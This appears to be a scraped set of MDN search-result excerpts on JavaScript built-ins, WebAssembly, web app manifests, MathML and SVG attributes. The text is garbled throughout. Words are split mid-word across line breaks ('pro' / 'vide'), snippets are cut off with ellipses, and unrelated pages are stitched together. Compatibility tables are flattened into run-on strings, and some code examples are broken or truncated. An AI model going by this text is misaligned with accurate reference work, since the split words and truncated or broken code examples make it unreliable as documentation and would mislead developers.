vides a statement with an identifier that lets you refer to it elsewhere in your program.
...while for...in iterates over property names, for...of iterates over property values: const arr = [3, 5, 7]; arr.foo = 'hello'; for (let i in arr) { console.log(i); // logs "0", "1", "2", "foo" } for (let i of arr) { console.log(i); // logs 3, 5, 7 } « pre
viousnext » ...
Numbers and dates - JavaScript
« pre
viousnext » this chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in javascript.
... number.issafeinteger() determines whether the pro
vided value is a number that is a safe integer.
... the number prototype pro
vides methods for retrie
ving information from number objects in various formats.
... « pre
viousnext » ...
Regular expression syntax cheatsheet - JavaScript
this page pro
vides an overall cheat sheet of all the capabilities of regexp syntax by aggregating the content of the articles in the regexp guide.
... note that the m multiline flag doesn't change the dot beha
vior.
...this is a position where the pre
vious and next character are of the same type: either both must be words, or both must be non-words, for example between two letters or between two spaces.
... note: as there are many properties and values available, we will not describe them exhaustively here but rather pro
vide various examples ...
TypeError: "x" is not a non-null object - JavaScript
the javascript exception "is not a non-null object" occurs when an object is expected somewhere and wasn't pro
vided.
... an object is expected somewhere and wasn't pro
vided.
...you must pro
vide a proper object in the given situation.
...pro
viding no object (like just a number), will throw an error: object.defineproperty({}, 'key', 1); // typeerror: 1 is not a non-null object object.defineproperty({}, 'key', null); // typeerror: null is not a non-null object a valid property descriptor object might look like this: object.defineproperty({}, 'key', { value: 'foo', writable: false }); weakmap and weakset objects require object keys weakmap and weakset objects store object keys.
TypeError: Reduce of empty array with no initial value - JavaScript
however, if no initial value is pro
vided, it will use the first element of the array or typedarray as the initial value.
... this error is raised when an empty array is pro
vided because no initial value can be returned in that case.
...thus lea
ving none to be used as the initial value.
... one way is to actually pro
vide an initialvalue as the neutral element of the operator, such as 0 for the addition, 1 for a multiplication, or an empty string for a concatenation.
Default parameters - JavaScript
in the following example, if no value is pro
vided for b when multiply is called, b's value would be undefined when evaluating a * b and multiply would return nan.
...scalled = 0 function something() { numberoftimescalled += 1 return numberoftimescalled } callsomething() // 1 callsomething() // 2 earlier parameters are available to later default parameters parameters defined earlier (to the left) are available to later default parameters: function greet(name, greeting, message = greeting + ' ' + name) { return [name, greeting, message] } greet('da
vid', 'hi') // ["da
vid", "hi", "hi da
vid"] greet('da
vid', 'hi', 'happy birthday!') // ["da
vid", "hi", "happy birthday!"] this functionality can be approximated like this, which demonstrates how many edge cases are handled: function go() { return ':p' } function withdefaults(a, b = 5, c = b, d = go(), e = this, f = arguments, g = this.value) { return...
...ments; case 6: g = this.value; default: } return [a, b, c, d, e, f, g]; } withdefaults.call({value: '=^_^='}); // [undefined, 5, 5, ":p", {value:"=^_^="}, arguments, "=^_^="] withoutdefaults.call({value: '=^_^='}); // [undefined, 5, 5, ":p", {value:"=^_^="}, arguments, "=^_^="] scope effects if default parameters are defined for one or more parameter, then a second scope (en
vironment record) is created, specifically for the identifiers within the parameter list.
... it also means that variables declared inside the function body using var will mask parameters of the same name, instead of the usual beha
vior of duplicate var declarations ha
ving no effect.
The arguments object - JavaScript
using typeof with arguments the typeof operator returns 'object' when used with arguments console.log(typeof arguments); // 'object' the type of indi
vidual arguments can be determined by indexing arguments: console.log(typeof arguments[0]); // returns the type of the first argument properties arguments.callee reference to the currently executing function that the arguments belong to.
... function foo(...args) { return args; } foo(1, 2, 3); // [1, 2, 3] while the presence of rest, default, or destructured parameters does not alter the beha
vior of the arguments object in strict mode code, there are subtle differences for non-strict code.
... non-strict functions that are passed only simple parameters (that is, not rest, default, or restructured parameters) will sync the value of variables new values in the body of the function with the arguments object, and
vice versa: function func(a) { arguments[0] = 99; // updating arguments[0] also updates a console.log(a); } func(10); // 99 and also: function func(a) { a = 99; // updating a also updates arguments[0] console.log(arguments[0]); } func(10); // 99 conversely, non-strict functions that are passed rest, default, or destructured parameters will not sync new values assigned to argument varia...
...instead, the arguments object in non-strict functions with complex parameters will always reflect the values passed to the function when the function was called (this is the same beha
vior as exhibited by all strict-mode functions, regardless of the type of variables they are passed): function func(a = 55) { arguments[0] = 99; // updating arguments[0] does not also update a console.log(a); } func(10); // 10 and also: function func(a = 55) { a = 99; // updating a does not also update arguments[0] console.log(arguments[0]); } func(10); // 10 and also: // an untracked default parameter function func(a = 55) { console.log(arguments[0]); } func(); // undefined specifications specification ecmascript (ecma-...
Array.prototype.findIndex() - JavaScript
the findindex() method returns the index of the first element in the array that satisfies the pro
vided testing function.
...if it is not pro
vided, then undefined is used.
...if an existing, un
visited element of the array is changed by callback, its value passed to the callback will be the value at the time findindex()
visits the element's index.
... elements that are deleted are still
visited.
Array - JavaScript
setting or accessing
via non-integers using bracket notation (or dot notation) will not set or retrieve an element from the array list itself, but will set or access a variable associated with that array's object property collection.
...this array has properties and elements which pro
vide information about the match.
... array.prototype.filter() returns a new array containing all elements of the calling array for which the pro
vided filtering function returns true.
... array.prototype.some() returns true if at least one element in this array satisfies the pro
vided testing function.
BigInt64Array() constructor - JavaScript
if control over byte order is needed, use data
view instead.
... buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
BigUint64Array() constructor - JavaScript
if control over byte order is needed, use data
view instead.
... buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
Date.prototype.setHours() - JavaScript
if a value greater than 23 is pro
vided, the datetime will be incremented by the extra hours.
...if a value greater than 59 is pro
vided, the datetime will be incremented by the extra minutes.
...if a value greater than 59 is pro
vided, the datetime will be incremented by the extra seconds.
...if a value greater than 999 is pro
vided, the datetime will be incremented by the extra milliseconds.
Date.prototype.toLocaleTimeString() - JavaScript
the new locales and options arguments let applications specify the language whose formatting conventions should be used and customize the beha
vior of the function.
... syntax dateobj.tolocaletimestring([locales[, options]]) parameters the locales and options arguments customize the beha
vior of the function and let applications specify the language whose formatting conventions should be used.
... performance when formatting large numbers of dates, it is better to create an intl.datetimeformat object and use the function pro
vided by its format property.
.../ → "오후 12:00:00" // arabic in most arabic speaking countries uses real arabic digits console.log(date.tolocaletimestring('ar-eg')); // → "٧:٠٠:٠٠ م" // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(date.tolocaletimestring(['ban', 'id'])); // → "11.00.00" using options the results pro
vided by tolocaletimestring() can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // an application may want to use utc and make that
visible var options = { timezone: 'utc', timezonename: 'short' }; console.log(date.tolocaletimestring('en-us', options)); // → "3:00:00 am gmt" // sometimes even the us needs 24-hour time console.log(date.tolocaleti...
Float32Array() constructor - JavaScript
if control over byte order is needed, use data
view instead.
... buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
Float64Array() constructor - JavaScript
if control over byte order is needed, use data
view instead.
... buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
Function - JavaScript
instance methods function.prototype.apply(thisarg [, argsarray]) calls a function and sets its this to the pro
vided thisarg.
... function.prototype.bind(thisarg[, arg1[, arg2[, ...argn]]]) creates a new function which, when called, has its this set to the pro
vided thisarg.
... optionally, a given sequence of arguments will be prepended to arguments pro
vided the newly-bound function is called.
... function.prototype.call(thisarg[, arg1, arg2, ...argn]) calls a function and sets its this to the pro
vided value.
Int16Array() constructor - JavaScript
if control over byte order is needed, use data
view instead.
... buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
Int32Array() constructor - JavaScript
if control over byte order is needed, use data
view instead.
... buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
Intl.DateTimeFormat - JavaScript
static methods intl.datetimeformat.supportedlocalesof() returns an array containing those of the pro
vided locales that are supported without ha
ving to fall back to the runtime's default locale.
... intl.datetimeformat.prototype.formatrange() this method receives two dates and formats the date range in the most concise way based on the locale and options pro
vided when instantiating datetimeformat.
...dezember 2012" // an application may want to use utc and make that
visible options.timezone = 'utc'; options.timezonename = 'short'; console.log(new intl.datetimeformat('en-us', options).format(date)); // → "thursday, december 20, 2012, gmt" // sometimes you want to be more precise options = { hour: 'numeric', minute: 'numeric', second: 'numeric', timezone: 'australia/sydney', timezonename: 'short' }; console.log(new intl.datetimeformat('en-au', options).f...
...default locale, use 'default' console.log(new intl.datetimeformat('default', options).format(date)); // → "12/19/2012, 19:00:00" // sometimes it's helpful to include the period of the day options = {hour: "numeric", dayperiod: "short"}; console.log(new intl.datetimeformat('en-us', options).format(date)); // → 10 at night the used calendar and numbering formats can also be set independently
via options arguments: var options = {calendar: 'chinese', numberingsystem: 'arab'}; var dateformat = new intl.datetimeformat('default', options); var usedoptions = dateformat.resolvedoptions(); console.log(usedoptions.calendar); // → "chinese" console.log(usedoptions.numberingsystem); // → "arab" console.log(usedoptions.timezone); // → "america/new_york" (the users default timezone) spe...
Intl.Locale.prototype.numberingSystem - JavaScript
— algorithmic tamldec modern tamil decimal digits telu telugu digits thai thai digits tirh tirhuta digits tibt tibetan digits traditio traditional numerals — may be algorithmic vaii vai digits wara warang citi digits wcho wancho digits examples setting the numberingsystem value
via the locale string in the unicode locale string spec, the values that numberingsystem represents correspond to the key nu.
...to set the numberingsystem value
via the string argument to the locale constructor, first add the -u extension key.
... let numberingsystem
viastr = new intl.locale("fr-latn-fr-u-nu-mong"); console.log(numberingsystemstr.numberingsystem); // prints "mong" setting the numberingsystem value
via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
... let numberingsystem
viaobj= new intl.locale("en-latn-us", {numberingsystem: "latn"}); console.log(us12hour.numberingsystem); // prints "latn" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
only one of the following two groups of properties is included: minimumintegerdigits minimumfractiondigits maximumfractiondigits the values pro
vided for these properties in the options argument or filled in as defaults.
... these properties are present only if neither minimumsignificantdigits nor maximumsignificantdigits was pro
vided in the options argument.
... minimumsignificantdigits maximumsignificantdigits the values pro
vided for these properties in the options argument or filled in as defaults.
... these properties are present only if at least one of them was pro
vided in the options argument.
Object.prototype.__proto__ - JavaScript
warning: while object.prototype.__proto__ is supported today in most browsers, its existence and exact beha
vior has only been standardized in the ecmascript 2015 specification as a legacy feature to ensure compatibility for web browsers.
...for objects created using new fun, where fun is one of the built-in constructor functions pro
vided by javascript (array, boolean, date, number, object, string, and so on — including new constructors added as javascript evolves), this value is always fun.prototype.
...the value pro
vided must be an object or null.
... pro
viding any other value will do nothing.
Object - JavaScript
this pro
vides a very powerful although potentially dangerous mechanism to override or extend object beha
vior.
...g examples store an empty object object in o: let o = new object() let o = new object(undefined) let o = new object(null) using object to create boolean objects the following examples store boolean objects in o: // equivalent to o = new boolean(true) let o = new object(true) // equivalent to o = new boolean(false) let o = new object(boolean()) object prototypes when altering the beha
vior of existing object.prototype methods, consider injecting code by wrapping your extension before or after the existing logic.
... when modifying prototypes with hooks, pass this and the arguments (the call state) to the current beha
vior by calling apply() on the function.
... var current = object.prototype.valueof; // since my property "-prop-value" is cross-cutting and isn't always // on the same prototype chain, i want to modify object.prototype: object.prototype.valueof = function() { if (this.hasownproperty('-prop-value')) { return this['-prop-value']; } else { // it doesn't look like one of my objects, so let's fall back on // the default beha
vior by reproducing the current beha
vior as best we can.
Promise() constructor - JavaScript
it communicates
via the side-effect caused by resolutionfunc or rejectionfunc.
... the side-effect is that the promiseobj becomes "resolved." typically, it works like this: the operation within executor is asynchronous and pro
vides a callback.
... return value promiseobj when called
via new, the promise constructor returns a promise object.
... const myfirstpromise = new promise((resolve, reject) => { // do something asynchronous which eventually calls either: // // resolve(somevalue) // fulfilled // or // reject("failure reason") // rejected }); making functions return a promise to pro
vide a function with promise functionality, have it return a promise: function myasyncfunction(url) { return new promise((resolve, reject) => { const xhr = new xmlhttprequest() xhr.open("get", url) xhr.onload = () => resolve(xhr.responsetext) xhr.onerror = () => reject(xhr.statustext) xhr.send() }); } specifications specification ecmascript (ecma-262)the ...
Proxy() constructor - JavaScript
handler an object whose properties are functions that define the beha
vior of the proxy when an operation is performed on it.
...this constructor takes two mandatory arguments: target is the object for which you want to create the proxy handler is the object that defines the custom beha
vior of the proxy.
...by defining any of a set group of functions on the handler object, you can customise specific aspects of the proxy's beha
vior.
... for example, by defining get() you can pro
vide a customised version of the target's property accessor.
SharedArrayBuffer - JavaScript
the sharedarraybuffer object is used to represent a generic, fixed-length raw binary data buffer, similar to the arraybuffer object, but in a way that they can be used to create
views on shared memory.
...in both cases, the sharedarraybuffer object is transmitted to the receiver resulting in a new, private sharedarraybuffer object in the recei
ving agent (just as for arraybuffer).
... however, the shared data block referenced by the two sharedarraybuffer objects is the same data block, and a side effect to the block in one agent will eventually become
visible in the other agent.
... for top-level documents, two headers will need to be set to cross-origin isolate your site: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects
victims from your origin) cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp to check if cross origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } see also planned changes to shared memory which...
String - JavaScript
character access there are two ways to access an indi
vidual character in a string.
... the first is the charat() method: return 'cat'.charat(1) // returns "a" the other way (introduced in ecmascript 5) is to treat the string as an array-like object, where indi
vidual characters correspond to a numerical index: return 'cat'[1] // returns "a" when using bracket notation for character access, attempting to delete or assign a value to these properties will not succeed.
...rather than ha
ving lines that go on endlessly, or wrap at the whim of your editor, you may wish to specifically break the string into multiple lines in the source code without affecting the actual string contents.
... they are of limited use, as they pro
vide only a subset of the available html tags and attributes.
TypedArray.prototype.every() - JavaScript
the every() method tests whether all elements in the typed array pass the test implemented by the pro
vided function.
... description the every method executes the pro
vided callback function once for each element present in the typed array until it finds one where callback returns a falsy value (a value that becomes false when converted to a boolean).
... if a thisarg parameter is pro
vided to every, it will be passed to callback when invoked, for use as its this value.
... function isbigenough(element, index, array) { return element >= 10; } new uint8array([12, 5, 8, 130, 44]).every(isbigenough); // false new uint8array([12, 54, 18, 130, 44]).every(isbigenough); // true testing typed array elements using arrow functions arrow functions pro
vide a shorter syntax for the same test.
Uint16Array() constructor - JavaScript
buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
...if control over byte order is needed, use data
view instead.
Uint32Array() constructor - JavaScript
if control over byte order is needed, use data
view instead.
... buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array
view is created that
views the specified arraybuffer.
... the byteoffset and length parameters specify the memory range that will be exposed by the typed array
view.
... if both are omitted, all of buffer is
viewed; if only length is omitted, the remainder of buffer is
viewed.
WebAssembly.CompileError - JavaScript
although ecma-262 specifies that urierror should pro
vide its own message property, in spidermonkey, it inherits error.prototype.message.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompileerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the f...
...irefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
...refox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full suppor...
WebAssembly.Instance - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstancechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firef...
...ox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
...refox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full suppor...
...refox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full suppor...
WebAssembly.LinkError - JavaScript
although ecma-262 specifies that urierror should pro
vide its own message property, in spidermonkey, it inherits error.prototype.message.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the fire...
...fox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
...refox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full suppor...
WebAssembly.Memory() constructor - JavaScript
the following example (see memory.html on github, and
view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmemory() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled ...
...in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full supp...
... flagchrome full support 74edge full support 79firefox full support 78ie no support noopera full support 62safari no support noweb
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no...
WebAssembly.Memory.prototype.grow() - JavaScript
return value the pre
vious size of the memory, in units of webassembly pages.
... var memory = new webassembly.memory({initial:1, maximum:10}); we can then grow the instance by one page like so: const bytesperpage = 64 * 1024; console.log(memory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the pre
vious number of webassembly pages.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrowchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 5...
...2 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.RuntimeError - JavaScript
although ecma-262 specifies that urierror should pro
vide its own message property, in spidermonkey, it inherits error.prototype.message.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerrorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the f...
...irefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
...refox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full suppor...
WebAssembly.Table() constructor - JavaScript
we then print out the table length and contents of the two indexes (retrieved
via table.prototype.get() to show that the length is two and both elements are null.
... this example shows that we're creating and accessing the table from javascript, but the same table is
visible and callable inside the wasm instance too.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jstable() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled i...
...n the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full suppo...
WebAssembly.Table.prototype.set() - JavaScript
we then print out the table length and contents of the two indexes (retrieved
via table.prototype.get()) to show that the length is two, and the indexes currently contain no function references (they currently return null).
... this example shows that we're creating and accessing the table from javascript, but the same table is
visible and callable inside the wasm instance too.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jssetchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52...
... extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.instantiateStreaming() - JavaScript
this module can be instantiated again or shared
via postmessage().
... examples instantiating streaming the following example (see our instantiate-streaming.html demo on github, and
view it live also) directly streams a .wasm module from an underlying source then compiles and instantiates it, the promise fulfilling with a resultobject.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstantiatestreamingchrome full support 61edge full support 16firefox full support 58ie no support noopera full ...
...support 47safari no support noweb
view android full support 61chrome android full support 61firefox android full support 58opera android full support 45safari ios no support nosamsung internet android full support 8.0nodejs no support nolegend full support full support no support ...
delete operator - JavaScript
memory management is done indirectly
via breaking references.
...however, in the case of internet explorer, when one uses delete on a property, some confusing beha
vior results, preventing other browsers from using simple objects like object literals as ordered associative arrays.
... in explorer, while the property value is indeed set to undefined, if one later adds back a property with the same name, the property will be iterated in its old position--not at the end of the iteration sequence as one might expect after ha
ving deleted the property and then added it back.
... if you want to use an ordered associative array in a cross-browser en
vironment, use a map object if available, or simulate this structure with two separate arrays (one for the keys and the other for the values), or build an array of single-property objects, etc.
async function - JavaScript
the async and await keywords enable asynchronous, promise-based beha
vior to be written in a cleaner style, avoiding the need to explicitly configure promise chains.
...the beha
vior of async/await is similar to combining generators and promises.
...as a result, we must be mindful of error handling beha
vior when dealing with concurrent asynchronous operations.
...just `return` } catch (e) { return null } } writing return processdatainworker(v) would have caused the promise returned by the function to reject, instead of resol
ving to null if processdatainworker(v) rejects.
display - Web app manifests
this can be used to pro
vide a consistent user experience between launching a site from an url and launching it from a desktop icon.
...this can include the application ha
ving a different window, its own icon in the application launcher, etc.
... in this mode, the user agent will exclude ui elements for controlling na
vigation, but can include other ui elements such as a status bar.
... minimal-ui minimal-ui the application will look and feel like a standalone application, but will have a minimal set of ui elements for controlling na
vigation.
scope - Web app manifests
type string mandatory no the scope member is a string that defines the na
vigation scope of this web application's application context.
... it restricts what web pages can be
viewed while the manifest is applied.
... if the user na
vigates outside the scope, it reverts to a normal web page inside a browser tab or window.
... examples if the scope is relative, the manifest url is used as a base url: "scope": "/app/" the following scope limits na
vigation to the current site: "scope": "https://example.com/" finally, the following example limits na
vigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" specification specification status comment feedback web app manifestthe definition of 'scope' in that specification.
Web app manifests
web app manifests are part of a collection of web technologies called progressive web apps (pwas), which are websites that can be installed to a de
vice’s homescreen without an app store.
... the web app manifest pro
vides information about a web application in a json text file, necessary for the web app to be downloaded and be presented to the user similarly to a native app (e.g., be installed on the homescreen of a de
vice, pro
viding users with quicker access and a richer experience).
...click each one for more information about it: background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsser
viceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "background_color": "#fff", "description": "a simply readable hacker news app.", "icons": [{ "src": "images/touch/homescreen48.png", "sizes": "48x48", "type": "image/png" }, { "src": "images/touch/homescreen7...
...this splashscreen is auto-generated from properties in the web app manifest, specifically: name background_color the icon in the icons array that is closest to 128dpi for the de
vice.
MathML attribute reference - MathML
unimplemented altimg altimg-width altimg-height altimg-valign alttext <math>
visual and textual fall-back options.
...there is no
visual effect for this attribute.
... unimplemented location <mscarries> unimplemented longdivstyle <mlongdiv> controls the style of the long di
vision layout.
... separator <mo> there is no
visual effect for this attribute, but it specifies whether the operator is a separator (such as commas).
MathML
for a quick over
view, see the slides for the innovation fairs at mozilla summit 2013.
... mathml attribute reference information about mathml attributes that modify the appearance or beha
vior of elements.
...
view all...
... getting help from the community
view mozilla forums...
Web API reference - Web technology reference
each indi
vidual interface across all apis is listed in the index.
... de
vice apis this set of apis allows access to various hardware features available to web pages and applications.
...ambient light sensor api, geolocation api, pointer lock api, proximity api, de
vice orientation api, screen orientation api,
vibration api.
... communication apis these apis let web pages and applications communicate with other pages or de
vices.
Web technology reference
html pro
vides a means to create structured documents made up of blocks called html elements that are delineated by tags, written using angle brackets.
... some introduce content into the page directly, others pro
vide information about document text and may include other tags as sub-elements.
... ob
viously, browsers do not display them, since they are used to interpret the content of the page.
... introduction to css | getting started with css | learn css | common css questions | reference javascript — dynamic client-side scripting the javascript programming language is used to add interacti
vity and other dynamic features to web sites.
baseFrequency - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default valu...
...e 0 animatable yes <number-optional-number> if two numbers are pro
vided, the first one represents the base frequency in the horizontal direction and the second one the base frequency in the vertical direction.
... if one number is pro
vided, then that value is used for both x and y.
... example <svg width="200" height="200"
viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'basefrequency' in that specification.
color - SVG: Scalable Vector Graphics
the color attribute is used to pro
vide a potential indirect value, currentcolor, for the fill, stroke, stop-color, flood-color, and lighting-color attributes.
... usage notes value <color> | inherit default value depends on user agent animatable yes example html, body, svg { height: 100%; } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <g color="green"> <rect width="50" height="50" fill="currentcolor" /> <circle r="25" cx="70" cy="70" stroke="currentcolor" fill="none" stroke-width="5" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'color' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolorchrome ?
... web
view android ?
dominant-baseline - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on the text content elements, including: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } text { font: bold 14px verdana, helvetica, arial, sans-serif; } <svg
viewbox="0 0 200 120" xmlns="http://www.w3.org/2000/svg"> <path d="m20,20 l180,20 m20,50 l180,50 m20,80 l180,80" stroke="grey" /> <text dominant-baseline="baseline" x="30" y="20">baseline</text> <text dominant-baseline="middle" x="30" y="50">middle</text> <text dominant-baseline="hanging" x="30" y="80">hanging</text> </svg> usage notes value auto | text-bottom | alp...
... example svg <svg width="400" height="300"
viewbox="0 0 300 300" xmlns="http://www.w3.org/2000/svg"> <!-- materialization of anchors --> <path d="m60,20 l60,270 m30,20 l400,20 m30,70 l400,70 m30,120 l400,120 m30,170 l400,170 m30,220 l400,220 m30,270 l400,270" stroke="grey" /> <!-- anchors in action --> <text dominant-baseline="auto" x="70" y="20">auto</text> ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdominant-baselinechrome ?
... web
view android ?
kerning - SVG: Scalable Vector Graphics
